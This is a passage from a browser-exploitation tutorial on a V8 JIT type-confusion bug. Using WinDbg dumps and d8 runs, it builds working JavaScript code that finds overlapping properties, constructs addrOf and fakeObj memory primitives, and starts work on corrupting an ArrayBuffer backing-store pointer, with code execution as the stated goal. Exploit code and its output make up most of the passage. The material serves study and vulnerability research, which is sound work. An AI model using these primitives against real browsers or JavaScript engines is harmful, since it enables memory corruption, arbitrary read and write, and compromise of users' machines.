After triggering the bug, we can see that the object’s map has changed and the property store has been converted to a NamedDictionary of size 29. We can confirm that the property store backing address is now at 0x00c44e40dba9 by checking the object structure in WinDbg.

0:000> dq 000000C44E40DAD9-1 L6
000000c4`4e40dad8  000002a6`6658c2f1 000000c4`4e40dba9
000000c4`4e40dae8  000002c9`f8782cf1 00000000`00000000
000000c4`4e40daf8  000002c9`f8782341 00000005`00000000

And it is! With that, let’s look into our dictionary structure at address 0x00c44e40dba9.

0:000> dq 0x00c44e40dba9-1 L12
000000c4`4e40dba8  000002c9`f8783669 0000001d`00000000
000000c4`4e40dbb8  00000002`00000000 00000000`00000000
000000c4`4e40dbc8  00000008`00000000 00000003`00000000
000000c4`4e40dbd8  00000000`00000000 000002c9`f87825a1
000000c4`4e40dbe8  000002c9`f87825a1 000002c9`f87825a1
000000c4`4e40dbf8  000000a3`18f22049 0000002a`00000000
000000c4`4e40dc08  000001c0`00000000 000002c9`f87825a1
000000c4`4e40dc18  000002c9`f87825a1 000002c9`f87825a1
000000c4`4e40dc28  000002c9`f87825a1 000002c9`f87825a1

Upon inspecting the dictionary structure at this address, we can see that it is significantly different from the FixedArray object structure. Additionally, we see that the value of the second property (43 or 0x2b) is at offset 88 within this structure, and our second property value of 43 or 0x2b is not present at the expected location. It’s likely that this value is located further within the dictionary’s memory layout.

Now you might be asking yourself, what are these odd values such as 000002c9f87825a1 within the dictionary structure? Well, a dictionary is actually a HashMap that uses hash tables to map a property’s key to a location in the hash table. The odd value that you are seeing is a hash code, which is the result of applying a hash function to a given key.

At the top of the dictionary, we can see that the Map of the object is at offset 0, the length of the dictionary (29 or 0x1d in hex) is at offset 8, and the number of elements within the dictionary (2) is at offset 16.

In our case, when we access the b property, V8 will access the number of elements in the dictionary (which should be 2, as confirmed by the IR). Upon running this code in d8 after triggering the bug, it does indeed return 2.

d8> %OptimizeFunctionOnNextCall(vuln)
d8> let obj = {a:42}; obj.b = 43; vuln(obj);
2

Perfect! We just confirmed that our type confusion works and that we have some control over what type of data we can access in the dictionary by specifying a property. This will allow us to traverse the dictionary by 8 bytes for each property.

Now, let’s go back to our conversation about having precision when trying to read and write data to an object. As you can see, with two properties, we can only read the number of elements within the dictionary. This doesn’t really provide us much benefit because usually we don’t have much control over this part of the structure as it’s dynamically allocated.

What we want to do, is to gain read and write access to a properties value within the dictionary, since we can easily read and write data to the property value by just specifying the properties index.

As we’ve already seen, our first property value while at offset 16 in the array, is at offset 88 in the dictionary. As such, if we were to add 88/8=11 different properties, we should be able to read and write to our first property within the dictionary by accessing property 10 from the backing store (which should be 88 bytes, or 10x8+8, into the array).

This means that for every N properties in the FixedArray, we will have a handful of overlapping properties within the dictionary that are at the same offset.

To help you visualize this, below is an example of a memory dump of a FixrdArray with 11 properties and a NameDictionary that has an overlapping property.

   FixedArray                   NameDictionary
000002c9`f8783899             000002c9`f8783669 
0000000E`00000000             0000013F`00000000
00000001`00000000             0000000B`00000000
00000002`00000000             00000000`00000000
00000003`00000000             00000008`00000000 
00000004`00000000             00000003`00000000
00000005`00000000             00000000`00000000
00000006`00000000             000002c9`f87825a1
00000007`00000000             000002c9`f87825a1
00000008`00000000             000002c9`f87825a1
00000009`00000000             000000a3`18f22049
0000000A`00000000   <--!-->   00000001`00000000
0000000B`00000000             000001c0`00000000

As presented in the memory dump, we can see that by accessing property 10 from the FixedArray, we are able to access the value of property 1 after triggering the bug and converting the FixedArray to a NameDictionary. This in essence would allow us to read and write to property 1’s value in the dictionary.

However, there is a problem with this approach: the layout of the NameDictionary will be different in every execution of the engine due to the process-wide randomness used in the hashing mechanism for hash map tables. This can be verified by rerunning the proof of concept and inspecting the dictionary structure after triggering the bug. Your results will vary, but in my case, I had the following output:

0:000> dq 0x025e3e88dba9-1 L12
0000025e`3e88dba8  0000028d`cdf03669 0000001d`00000000
0000025e`3e88dbb8  00000002`00000000 00000000`00000000
0000025e`3e88dbc8  00000008`00000000 00000003`00000000
0000025e`3e88dbd8  00000000`00000000 00000305`8f922061
0000025e`3e88dbe8  0000002b`00000000 000002c0`00000000
0000025e`3e88dbf8  0000028d`cdf025a1 0000028d`cdf025a1
0000025e`3e88dc08  0000028d`cdf025a1 0000028d`cdf025a1
0000025e`3e88dc18  0000028d`cdf025a1 0000028d`cdf025a1
0000025e`3e88dc28  0000028d`cdf025a1 0000028d`cdf025a1

As we can see, property b (with a value of 43 or 0x2b) is now at offset 64 in the dictionary, and property a is not present at the expected location. In this case, property a was actually at offset 184. This means that our previous example of using 11 properties would not work.

Although the properties are not in a known or even guessable order, we still know that there likely exists a pair of properties P1 and P2 that will eventually overlap at the same offset. If we can write a JavaScript function to find these overlapping properties, we will at least be able to gain some precision in reading and writing new values to our properties.

Before writing this function, we need to consider how many properties we should generate in order to find this overlap. Well, due to in-object slack tracking the optimal number of fast properties is 32, so we will use that as our maximum.

Let’s start by repurposing our proof of concept by creating a new function that creates an object with one inline and 32 out-of-line properties. The code for this function is as follows:

function makeObj() {
    let obj = {inline: 1234};
    for (let i = 1; i < 32; i++) {
        Object.defineProperty(obj, 'p' + i, {
            writable: true,
            value: -i
        });
    }
    return obj;
}

One thing to note within the function is that we are using a negative value for i. The reason for this is that there are a few unrelated small positive values in the dictionary, such as the length and number of elements. If we use positive values for our property values, there is a risk of getting false positives when searching for overlapping properties. Therefore, we use negative numbers to distinguish our properties from these unrelated values.

From here we can start writing our function that will search for overlapped properties. One modification we will make is to our vuln function, which previously triggered the bug and returned property b of the object. In this case, we want to return the values of all properties so that we can compare them between the array and dictionary.

To do this, we can use the eval function with template literals to generate all the return statements at runtime with just a few lines of code. The following code allows us to do that:

function findOverlappingProperties() {
    // Create an array of all 32 property names such as p1..p32
    let pNames = [];
    for (let i = 0; i < 32; i++) {
        pNames[i] = 'p' + i;
    }

    // Create eval of function that will generate code during runtime
    eval(`
    function vuln(obj) {
      obj.inline;
      Object.create(obj);
      ${pNames.map((p) => `let ${p} = obj.${p};`).join('\n')}
      return [${pNames.join(', ')}];
    }
  `)
}

If you are confused about the last two lines in the eval function, here is a brief explanation. We are using template literals (backticks) and placeholders within the template, which are embedded expressions delimited by a dollar sign and curly braces: ${expression}. When we call the vuln function at runtime, these expressions undergo string interpolation and the expression will be replaced with a generated string.

In our case we are using the map function on the pNames array to create a new array of strings that will equate to let p1 = obj.p1. This allows us to generate these lines of code to set and return the values of all properties during runtime, instead of hardcoding everything.

An example of the output after the eval function can be seen in d8, like so:

d8> let pNames = []; for (let i = 0; i < 32; i++) {pNames[i] = 'p' + i;}
"p31"
d8> pNames
["p0", "p1", "p2", "p3", "p4", "p5", "p6", "p7", "p8", "p9", "p10", "p11", "p12", "p13", "p14", "p15", "p16", "p17", "p18", "p19", "p20", "p21", "p22", "p23", "p24", "p25", "p26", "p27", "p28", "p29", "p30", "p31"]
d8> pNames.map((p) => `let ${p} = obj.${p};`).join('\n')
let p0 = obj.p0;
let p1 = obj.p1;
let p2 = obj.p2;
let p3 = obj.p3;
let p4 = obj.p4;
let p5 = obj.p5;
...

Now that we have this code and understand how it works, we can update our proof of concept script to include these new functions, trigger the bug, and then print the values for both the array and dictionary. Our updated script will now look like so:

// Create object with one line and 32 out-of-line properties
function makeObj() {
    let obj = {inline: 1234};
    for (let i = 1; i < 32; i++) {
        Object.defineProperty(obj, 'p' + i, {
            writable: true,
            value: -i
        });
    }
    return obj;
}

// Find a pair of properties where p1 is stored at the same offset
// in the FixedArray as p2 is in the NameDictionary
function findOverlappingProperties() {
    // Create an array of all 32 property names such as p1..p32
    let pNames = [];
    for (let i = 0; i < 32; i++) {
        pNames[i] = 'p' + i;
    }

    // Create eval of our vuln function that will generate code during runtime
    eval(`
    function vuln(obj) {
      // Access Property inline of obj, forcing a CheckMap operation
      obj.inline;
      // Force a Map Transition via our side-effect
      this.Object.create(obj);
      // Trigger our type-confusion by accessing out-of-bound properties
      ${pNames.map((p) => `let ${p} = obj.${p};`).join('\n')}
      return [${pNames.join(', ')}];
    }
  `)

    // JIT code to trigger vuln
    for (let i = 0; i < 10000; i++) {
        let res = vuln(makeObj());
        // Print FixedArray when i=1 and Dictionary when i=9999
        if (i == 1 || i == 9999) {
            print(res);
        }
    }
}

print("[+] Finding Overlapping Properties");
findOverlappingProperties();

When we run the updated script in d8, we should get results which are similar the following:

C:\dev\v8\v8\out\x64.debug>d8 C:\Users\User\Desktop\poc.js
[+] Finding Overlapping Properties
,-1,-2,-3,-4,-5,-6,-7,-8,-9,-10,-11,-12,-13,-14,-15,-16,-17,-18,-19,-20,-21,-22,-23,-24,-25,-26,-27,-28,-29,-30,-31
,32,0,64,33,0,,,,p13,-13,3824,,,,p17,-17,4848,inline,1234,448,,,,p29,-29,7920,,,,p19,-19

Great! Our type-confusion works and we are able to leak data from the dictionary. From the output, we can see that we have a few overlapping properties, such as p10 overlapping with p13 (note the negative values).

Now that we have confirmed that this code works and we have overlapping properties, we can modify the script to enumerate through the results and choose an overlapping property whose value is less than 0 and greater than -32. Also, let’s remove properties that overlap themselves.

The updated code will look like the following:

// Function that creates an object with one in-line and 32 out-of-line properties
function makeObj() {
    let obj = {inline: 1234};
    for (let i = 1; i < 32; i++) {
        Object.defineProperty(obj, 'p' + i, {
            writable: true,
            value: -i
        });
    }
    return obj;
}

// Function that finds a pair of properties where p1 is stored at the same offset
// in the FixedArray as p2 in the NameDictionary
let p1, p2;

function findOverlappingProperties() {
    // Create an array of all 32 property names such as p1..p32
    let pNames = [];
    for (let i = 0; i < 32; i++) {
        pNames[i] = 'p' + i;
    }

    // Create eval of our vuln function that will generate code during runtime
    eval(`
    function vuln(obj) {
      // Access Property inline of obj, forcing a CheckMap operation
      obj.inline;
      // Force a Map Transition via our side-effect
      this.Object.create(obj);
      // Trigger our type-confusion by accessing out-of-bound properties
      ${pNames.map((p) => `let ${p} = obj.${p};`).join('\n')}
      return [${pNames.join(', ')}];
    }
  `)

    // JIT code to trigger vuln
    for (let i = 0; i < 10000; i++) {
        // Create Object and pass it to Vuln function
        let res = vuln(makeObj());
        // Look for overlapping properties in results
        for (let i = 1; i < res.length; i++) {
            // If i is not the same value, and res[i] is between -32 and 0, it overlaps
            if (i !== -res[i] && res[i] < 0 && res[i] > -32) {
                [p1, p2] = [i, -res[i]];
                return;
            }
        }
    }
    throw "[!] Failed to find overlapping properties";
}

print("[+] Finding Overlapping Properties...");
findOverlappingProperties();
print(`[+] Properties p${p1} and p${p2} overlap!`);

If we run the updated code in d8 again, we will see that we are able to consistently find overlapping properties.

C:\dev\v8\v8\out\x64.debug>d8 C:\Users\User\Desktop\poc.js
[+] Finding Overlapping Properties...
[+] Properties p7 and p12 overlap!

Understanding Browser Exploit Primitives

Alright, so we’re able to exploit our bug to trigger a type-confusion and discovered overlapping properties that we can utilize to read and write data to. To those with a keen eye, you might have noticed that currently we only can read SMI’s and strings. In essence, just reading integers or strings is useless, we need to find a way to read and write memory pointers.

To help us accomplish that, we need to construct a read and write exploit primitive known as the addrOf and fakeObj primitive, respectively. These primitives will allow us to exploit our overlapping properties by confusing an object of one type with an object of another type

To build these primitives, we can abuse our current type-confusion and the way Maps work with redundancy elimination in JIT to construct our own global type confusion for any arbitrary value of our choosing!

If you remember back in Part 1 and Part 2, we discussed Maps and the BinaryOp along with the Feedback Lattice. As we know, Maps store type information for properties and the BinaryOp stores the potential type states of properties during JIT compilation.

For example, let’s take the following code:

function test(obj) {
  return obj.b.x;
}

let obj = {};
obj.a = 13;
obj.b = {x: 14};

After this code is executed in V8, the Map of obj will show that it has a property a that is an SMI and a property b that is an object with a property x that is also an SMI.

If we force this function to be JIT’d, then the Map check for b will be omitted, since speculative assumptions will be made to assume that property b will always be an object with a specific Map, allowing redundancy elimination to remove the check. If this type information is invalidated, such as when a property is added or the value is modified to be a double, then a new Map will be allocated and the BinaryOp will be updated to include type information for both an SMI and Double.

With this in mind, it becomes possible to abuse this scenario along with our overlapping properties to construct a powerful exploit primitive that will be the foundation for out read and write primitives.

An example of this code that will be used as our base for the primitives can be seen below with comments.

eval(`
  function vuln(obj) {
    // Access Property inline of obj, forcing a CheckMap operation
    obj.inline;
    // Force a Map Transition via our side-effect
    this.Object.create(obj);
    // Trigger our type-confusion by accessing an out-of-bound property.
      // This will load p1 from our object thinking it's ObjX, but instead
      // due to our bug and overlapping properties, it loads p2 which is ObjY
    let p = obj.${p1}.x;
    return p;
  }
`)

let obj = makeObj();
obj[p1] = {x: ObjX};
obj[p2] = {y: ObjY};
vuln(obj)

As you can see, p1 and p2 are our overlapping properties after our array is converted to a dictionary. By setting p1 as Object X and p2 as Object Y, when we JIT compile the vuln function, the compiler will assume that our variable p will be of type Object X due to the Map of obj omitting the type checks.

However, due to the initial type-confusion vulnerability we are exploiting, the code will actually read property p2 and receive Object Y. In this case, the engine will then represent Object Y as Object X, causing another type confusion.

By using this global type confusion that we constructed, we can now create our read and write primitives to leak object addresses and to write to arbitrary object fields.

The addrOf Read Primitive

The addrOf primitive stands for “Address Of” and it does exactly what it says. It allows us to leak the address pointer of a specific object by abusing our constructed type-confusion.

As demonstrated in the example above, we can create a global type confusion by abusing our overlapping properties and the way Maps store type information, allowing us to represent the output of Object Y as Object X.

So, the question is, how do we abuse this scenario to leak a memory address?

We can’t simply pass in two objects and return an object because they are the same shape. If we do this, V8 will simply dereference the object and either return the object type, or the object’s properties.

An example of what we would see is shown below:

C:\dev\v8\v8\out\x64.debug>d8 --allow-natives-syntax C:\Users\User\Desktop\poc.js
[+] Finding Overlapping Properties...
[+] Properties p24 and p21 overlap!
[+] Leaking Object Address...
[+] Object Address: [object Object]

As you can see, the return value of [object Object] isn’t useful for us. Instead, we need to return the object but as a different type.

In this case, we can create a type-confusion read primitive by making Object X a Double! This way, when we call p1, it will expect a double value, and since p1 actually returns p2 (which is an object pointer) instead of dereferencing the pointer, it will return it to us as a double floating-point number!

Let’s see this in action. Using the example code from earlier, we can modify it to create an addrOf function by changing Object X to a double and leaving Object Y as an object.

The function will look like so:

function addrOf() {
    eval(`
    function vuln(obj) {
      obj.inline;
      this.Object.create(obj);
      return obj.p${p1}.x;
    }
  `);

    let obj = makeObj()
    obj[p1] = {x: 13.37};
    obj[p2] = {y: obj};
    vuln(obj); // Returns Address of obj as Double
}

As you can see, we set p1 as a double with the value of 13.37 and we set Object Y as the object that gets created from our makeObj function.

After triggering the vulnerability through the vuln function, the engine will assume that the value returned to us by obj.p1.x will be a double, but instead it will load the pointer to our p2 object and return it as a double.

This way we should be able to leak our objects address, but we have one slight problem with the makeObj function. Currently the makeObj function creates our object with one in-line and 32 out-of-line properties.

As you may recall, those 32 out-of-line properties are all negative numbers which we used to avoid false positives when finding overlapping properties. While this isn’t an issue, the bigger problem is that after we find the overlapping properties, we need to be able to modify those specific property indexes within our array’s backing store so that when the dictionary conversion occurs, we can exploit our type confusion with precision.

Currently, that’s not possible for reasons explained below.

After our object is created, if we try to modify its properties at a specific index, it will either be added to the start or to the end of the properties array. Additionally, we can’t simply modify a named property via its pN name as it’s not defined.

An example of this can be shown below.

d8> let obj = {p1:1, p2:2, p3:3};
d8> obj[12] = 12;
d8> obj
{12: 12, p1: 1, p2: 2, p3: 3}
d8> obj[p3] = 12
(d8):1: ReferenceError: p3 is not defined
obj[p3] = 12
    ^

To accurately set our objects where we need them, we need to create an array of properties that will be passed to our object during creation. This way, by using the index from p1 and p2, we can create a holey array of properties that will allow us to precisely set our objects.

An example of this can be seen below:

d8> let obj = [];
d8> obj[7] = 7;
d8> obj[12] = 12;
d8> obj
[, , , , , , , 7, , , , , 12]

To do this, let’s modify our makeObj function to take in an array of pValues as properties and have pValues[i] set as the value, like this:

// Function that creates an object with one in-line and 32 out-of-line properties
function makeObj(pValues) {
    let obj = {inline: 1234};
    for (let i = 0; i < 32; i++) {
        Object.defineProperty(obj, 'p' + i, {
            writable: true,
            value: pValues[i]
        });
    }
    return obj;
}

With this in place, we can now modify our addrOf function. We’ll start by adding a new pValues array and then setting p1 in the array to be an object with a double value and p2 to be a custom-created object.

function addrOf() {
    eval(`
    function vuln(obj) {
      obj.inline;
      this.Object.create(obj);
      return obj.p${p1}.x;
    }
  `);

    let obj = {z: 1234};
    let pValues = [];
    pValues[p1] = {x: 13.37};
    pValues[p2] = {y: obj};

    for (let i = 0; i < 10000; i++) {
        let res = vuln(makeObj(pValues));
        if (res != 13.37) {
            %DebugPrint(obj);
            return res;
        }
    }
}

As you can see, our JIT loop will call makeObj to create an object with our p1 and p2 properties, and then pass that to our vuln function to trigger the type confusion. The if statement is checking to see if the results returned by the vuln function don’t equal 13.37. If it doesn’t, it means we successfully triggered our type confusion and have read the address pointer of obj.

Since we are testing this, I have also added a %DebugPrint statement to print out the address of obj. This allows us to validate that the data returned is, in fact, our address.

Our exploit script will now look like so. Note, that in this test case, I simply added a call to addrOf which will exploit our overlapped properties to leak the object address that is hardcoded within the function.

Also, take note that I have modified our findOverlappingProperties function to include a pValues array for our negative numbers. This was done to support the modification we made to our makeObj function.

// Function that creates an object with one in-line and 32 out-of-line properties
function makeObj(pValues) {
    let obj = {inline: 1234};
    for (let i = 0; i < 32; i++) {
        Object.defineProperty(obj, 'p' + i, {
            writable: true,
            value: pValues[i]
        });
    }
    return obj;
}
// Function that finds a pair of properties where p1 is stored at the same offset
// in the FixedArray as p2 in the NameDictionary
let p1, p2;

function findOverlappingProperties() {
    // Create an array of all 32 property names such as p1..p32
    let pNames = [];
    for (let i = 0; i < 32; i++) {
        pNames[i] = 'p' + i;
    }

    // Create eval of our vuln function that will generate code during runtime
    eval(`
    function vuln(obj) {
      // Access Property inline of obj, forcing a CheckMap operation
      obj.inline;
      // Force a Map Transition via our side-effect
      this.Object.create(obj);
      // Trigger our type-confusion by accessing out-of-bound properties
      ${pNames.map((p) => `let ${p} = obj.${p};`).join('\n')}
      return [${pNames.join(', ')}];
    }
  `)

    // Create an array of negative values from -1 to -32 to be used
    // for out makeObj function
    let pValues = [];
    for (let i = 1; i < 32; i++) {
        pValues[i] = -i;
    }

    // JIT code to trigger vuln
    for (let i = 0; i < 10000; i++) {
        // Create Object and pass it to Vuln function
        let res = vuln(makeObj(pValues));
        // Look for overlapping properties in results
        for (let i = 1; i < res.length; i++) {
            // If i is not the same value, and res[i] is between -32 and 0, it overlaps
            if (i !== -res[i] && res[i] < 0 && res[i] > -32) {
                [p1, p2] = [i, -res[i]];
                return;
            }
        }
    }
    throw "[!] Failed to find overlapping properties";
}

function addrOf() {
    eval(`
    function vuln(obj) {
      obj.inline;
      this.Object.create(obj);
      // Trigger our type-confusion by accessing an out-of-bound property
        // This will load p1 from our object thinking it's a Double, but instead
        // due to overlap, it will load p2 which is an Object
      return obj.p${p1}.x;
    }
  `);

    let obj = {z: 1234};
    let pValues = [];
    pValues[p1] = {x: 13.37};
    pValues[p2] = {y: obj};

    for (let i = 0; i < 10000; i++) {
        let res = vuln(makeObj(pValues));
        if (res != 13.37) {
            %DebugPrint(obj);
            return res;
        }
    }
    throw "[!] AddrOf Primitive Failed"
}

print("[+] Finding Overlapping Properties...");
findOverlappingProperties();
print(`[+] Properties p${p1} and p${p2} overlap!`);
let x = addrOf();
print("[+] Leaking Object Address...");
print(`[+] Object Address: ${x}`);

With that, we can now execute the updated script in d8, and should get output similar to the following:

C:\dev\v8\v8\out\x64.debug>d8 --allow-natives-syntax C:\Users\User\Desktop\poc.js
[+] Finding Overlapping Properties...
[+] Properties p6 and p7 overlap!
DebugPrint: 000001E72E81A369: [JS_OBJECT_TYPE] in OldSpace
 - map: 0x005245541631 <Map(HOLEY_ELEMENTS)> [FastProperties]
 - prototype: 0x00bfad784229 <Object map = 00000052455022F1>
 - elements: 0x0308c8602cf1 <FixedArray[0]> [HOLEY_ELEMENTS]
 - properties: 0x0308c8602cf1 <FixedArray[0]> {
    #z: 1234 (data field 0)
 }
0000005245541631: [Map]
 - type: JS_OBJECT_TYPE
 - instance size: 32
 - inobject properties: 1
 - elements kind: HOLEY_ELEMENTS
 - unused property fields: 0
 - enum length: invalid
 - stable_map
 - back pointer: 0x00524550c201 <Map(HOLEY_ELEMENTS)>
 - prototype_validity cell: 0x0379e0b82201 <Cell value= 1>
 - instance descriptors (own) #1: 0x01e72e80f339 <DescriptorArray[5]>
 - layout descriptor: 0000000000000000
 - prototype: 0x00bfad784229 <Object map = 00000052455022F1>
 - constructor: 0x00bfad784261 <JSFunction Object (sfi = 00000379E0B8ED51)>
 - dependent code: 0x0308c8602391 <Other heap object (WEAK_FIXED_ARRAY_TYPE)>
 - construction counter: 0

[+] Leaking Object Address...
[+] Object Address: 1.033797443889e-311

As you can see, the addrOf function returned a double floating-point value! Now we need to convert this floating point to an actual address so we can validate its correctness.

To do that, we can use TypedArrays which allows us to describe an array-like view of an underlying binary data buffer. Since the data returned to us is a double precision floating point value, we can use the Float64Array to store our double in binary format like so:

d8> let floatView = new Float64Array(1);
d8> floatView[0] = 1.033797443889e-311

Once done, we can convert our floatView buffer to a 64-bit unsigned integer via the BigUint64Array, which should give us the byte representation of our object’s address.

d8> let uint64View = new BigUint64Array(floatView.buffer);
d8> uint64View[0]
2092429321065n

From here’s it’s as simple as using the toString function with base 16 to convert the bytes to hexadecimal, which should give us a valid address.

d8> uint64View[0].toString(16)
"1e72e81a369"

As shown, once we convert our bytes to hex, we see that the value leaked by our addrOf primitive matches our object’s address of of 000001E72E81A369!

We now have a working addrOf read primitive!

From here, there is just one slight modification that needs to be made for our addrOf function. We have to make sure we subtract 1n from the BigUint64Array to account for pointer tagging if we want to use this address further in the script.

Our addrOf function with its conversion buffers will now look like so:

// Conversion Buffers
let floatView = new Float64Array(1);
let uint64View = new BigUint64Array(floatView.buffer);

Number.prototype.toBigInt = function toBigInt() {
    floatView[0] = this;
    return uint64View[0];
};

...

function addrOf() {
    eval(`
    function vuln(obj) {
      obj.inline;
      this.Object.create(obj);
      // Trigger our type-confusion by accessing an out-of-bound property
        // This will load p1 from our object thinking it's a Double, but instead
        // due to overlap, it will load p2 which is an Object
      return obj.p${p1}.x;
    }
  `);

    let obj = {z: 1234};
    let pValues = [];
    pValues[p1] = {x: 13.37};
    pValues[p2] = {y: obj};

    for (let i = 0; i < 10000; i++) {
        let res = vuln(makeObj(pValues));
        if (res != 13.37) {
            // Subtract 1n from address due to pointer tagging.
            return res.toBigInt() - 1n;
        }
    }
    throw "[!] AddrOf Primitive Failed"
}

The fakeObj Write Primitive

The fakeObj primitive, short for “Fake Object”, allows us to write data to essentially a fake object by exploiting our constructed type confusion. In essence, the write primitive is just the inverse of our addrOf primitive.

To create the fakeObj function, we simply make a small modification to the original addrOf function. In our fakeObj function, we store the original value of our object in a variable called orig. After we overwrite it, we return the original value and compare it in the JIT function.

For testing, we try to overwrite the x property of p1 with the 0x41414141n double. Due to the type confusion, this will overwrite the y property of our object in p2 when the bug triggers in the JIT code. If we successfully corrupt the value and later return it via the orig parameter, it should no longer equal 13.37.

The fakeObj function will look like so:

function fakeObj() {
    eval(`
    function vuln(obj) {
      obj.inline;
      this.Object.create(obj);
      let orig = obj.p${p1}.x;
      // Overwrite property x of p1, but due to type confusion
      // we overwrite property y of p2
      obj.p${p1}.x = 0x41414141n;
      return orig;
    }
  `);

    let obj = {z: 1234};
    let pValues = [];
    pValues[p1] = {x: 13.37};
    pValues[p2] = {y: obj};

    for (let i = 0; i < 10000; i++) {
        let res = vuln(makeObj(pValues));
        if (res != 13.37) {
            return res;
        }
    }
}

After updating our code with the new fakeObj primitive, and executing it within d8, we should get output similar to the following:

C:\dev\v8\v8\out\x64.debug>d8 --allow-natives-syntax C:\Users\User\Desktop\poc.js
[+] Finding Overlapping Properties...
[+] Properties p6 and p30 overlap!
[+] Leaking Object Address...
[+] Object Address: 0x21eacf99a08
[+] Corrupting Object Address...
[+] Leaked Data: 1094795585

It seems that we got some data back, and it doesn’t equal 13.37!

This looks to be an unsigned integer, so we can use the uint64View array buffer to store the value and then convert the bytes to hex, like so.

d8> uint64View[0] = 1094795585n
d8> uint64View[0].toString(16)
'41414141'

And there we have it! We successfully overwrote the y property of p2 and successfully constructed a valid write primitive!

This is a very powerful primitive as it allows us to write to essentially any object property that we can find the address of. From here we can start to build out more complex exploit primitives to eventually achieve code execution.

Gaining Memory Read + Write

Now that we have created working read and write primitives from our bug, we can start to utilize these primitives to gain remote code execution within the interpreter. Currently we’ve only been able to overwrite the property of a second object with a controlled double. However, this isn’t useful for us by any means.

Reason being is that even though we can overwrite an object address within a property, if we attempt to access that address to write data, V8 will still attempt to dereference it and access the backing store pointer at offset 8 from that address. This makes it difficult for us to read or write to any address of our choosing.

To achieve something useful with our read and write primitives, we need to overwrite an internal field of an object, such as the backing store pointer, rather than an actual object or property within the backing store. As you know, the backing store pointer stores a memory address that tells V8 where our property or element array is located. If we can overwrite this pointer, we can tell V8 to access specific elements anywhere in memory via our bug!

The next ting we have to consider for this exploit is to decide on what type of object we want to use when corrupting the backing store pointer. Sure, we can use a simple object with out-of-line properties, but in our case, and for most browser exploits, we’ll actually utilize an ArrayBuffer object.

The reason we use an ArrayBuffer over a normal object is because these array buffers are used to represent a fixed-length raw binary data buffer. One important thing to note is that we cannot directly manipulate the contents of an ArrayBuffer in JavaScript. Instead, we must use a TypedArray or a DataView object with a specific data representation format, and use that to read and write the contents of the buffer.

We’ve previously used a TypedArray in our addrOf primitive to return our object’s address as a double floating point and then converted it to an unsigned 64-bit integer, which allowed us to then convert that value to hex to see the actual address. We can apply the same principle here for our fakeObj primitive by specifying the type of data we want to work with, i.e. integers, floats, 64-bit integers, etc. This way we can easily read and write data of whatever type we want, without worrying too much about conversions or the type of values our properties are.

Before we move on any further, let’s take a look at how ArrayBuffer objects looks like in memory so we can better understand how to exploit them.

To start, let’s create a new ArrayBuffer that will be 8 bytes in length and then assign that buffer an 8-bit unsigned view.

d8> var buffer = new ArrayBuffer(8)
d8> var view = new Uint8Array(buffer)

Now, let’s use our %DebugPrint command to examine our buffer object.

d8> %DebugPrint(buffer)
DebugPrint: 000002297C70D881: [JSArrayBuffer]
 - map: 0x03b586384371 <Map(HOLEY_ELEMENTS)> [FastProperties]
 - prototype: 0x032f41990b21 <Object map = 000003B5863843C1>
 - elements: 0x01d0a7902cf1 <FixedArray[0]> [HOLEY_ELEMENTS]
 - embedder fields: 2
 - backing_store: 00000286692101A0
 - byte_length: 8
 - neuterable
 - properties: 0x01d0a7902cf1 <FixedArray[0]> {}
 - embedder fields = {
    0000000000000000
    0000000000000000
 }

As you can see, an ArrayBuffer object is similar to other V8 objects, as it has a Map, a properties, and an elements fixed array, as well as the necessary properties for the array buffer itself, such as the byte length and its backing store. The backing store is the address where the TypedArray (in this case, the view variable) will read and write data to/from.

We can confirm the connection between the ArrayBuffer and the TypedArray by using the %DebugPrint function on the view variable.

d8> %DebugPrint(view)
DebugPrint: 000002297C70F791: [JSTypedArray]
 - map: 0x03b586382b11 <Map(UINT8_ELEMENTS)> [FastProperties]
 - prototype: 0x032f419879e1 <Object map = 000003B586382B61>
 - elements: 0x02297c70f7d9 <FixedUint8Array[8]> [UINT8_ELEMENTS]
 - embedder fields: 2
 - buffer: 0x02297c70d881 <ArrayBuffer map = 000003B586384371>
 - byte_offset: 0
 - byte_length: 8
 - length: 8
 - properties: 0x01d0a7902cf1 <FixedArray[0]> {}
 - elements: 0x02297c70f7d9 <FixedUint8Array[8]> {
         0-7: 0
 }
 - embedder fields = {
    0000000000000000
    0000000000000000
 }

As you can see, the TypedArray has a buffer property that points to our ArrayBuffer at address 0x02297c70d881. The TypedArray also inherits the byte length property from the parent ArrayBuffer so it knows how much data it can read and write with its specific data format.

To better understand the structure and backing store of the array buffer object, we can use WinDbg to inspect it.

0:005> dq 000002297C70D881-1 L6
00000229`7c70d880  000003b5`86384371 000001d0`a7902cf1
00000229`7c70d890  000001d0`a7902cf1 00000000`00000008
00000229`7c70d8a0  00000286`692101a0 00000000`00000002

Upon inspection, we can see that from the top left we have our Map, properties and elements array property store pointers, followed by the byte length, and finally the backing store pointer of address 00000286692101A0, which is at offset 32 from the start of the array buffer.

Before we look into the backing store buffer, let’s add some data to our buffer to better see the representation in memory. To write data to the ArrayBuffer we have to use our TypedArray via our view variable like so.

d8> view[0] = 65
d8> view[2] = 66

Now that’s done, let’s view this backing store in WinDbg. Take note that I do not subtract 1 from the pointer since unlike other object backing stores, an ArrayBuffer backing store is actually a 64-bit pointer!

0:005> dq 00000286692101A0 L6
00000286`692101a0  00000000`00420041 dddddddd`fdfdfdfd
00000286`692101b0  00000000`dddddddd 8c003200`1f678a43
00000286`692101c0  00000286`69d34e50 00000286`69d40230

Upon inspection of this memory address, we notice that in the top left we have our 8 bytes of data that we allocated for our array buffer. From the right, in index 0 we have 0x41 which is 65 and in index 2 we have 0x42 which is 66.

As you can see, using a ArrayBuffer with a TypedArray of any data type allows us to control where we can read and write data as long as we can control the backing store pointer!

With that in mind, let’s figure out how we can access this backing store pointer via our fakeObj primitive in order to overwrite it. Currently for both the read and write primitive we create an object for p1 with one in-line property, and an object for p2 which also has one in-line property.

function fakeObj() {
    eval(`
    function vuln(obj) {
      obj.inline;
      this.Object.create(obj);
      let orig = obj.p${p1}.x;
      // Overwrite property x of p1, but due to type confusion
      // we overwrite property y of p2
      obj.p${p1}.x = 0x41414141n;
      return orig;
    }
  `);

    let obj = {z: 1234};
    let pValues = [];
    pValues[p1] = {x: 13.37};
    pValues[p2] = {y: obj}
	...

In the vuln function we attempt to overwrite property x for our p1 object. This would dereference the object address for p1 and access offset 24, where our x property value is stored in-line. However, due to the type confusion, this operation will actually dereference the object address of p2 and access offset 24, where the y property value is stored in-line, which would allow us to overwrite the address of the obj object.

The example below is provided to help you visualize how this would look like in memory.

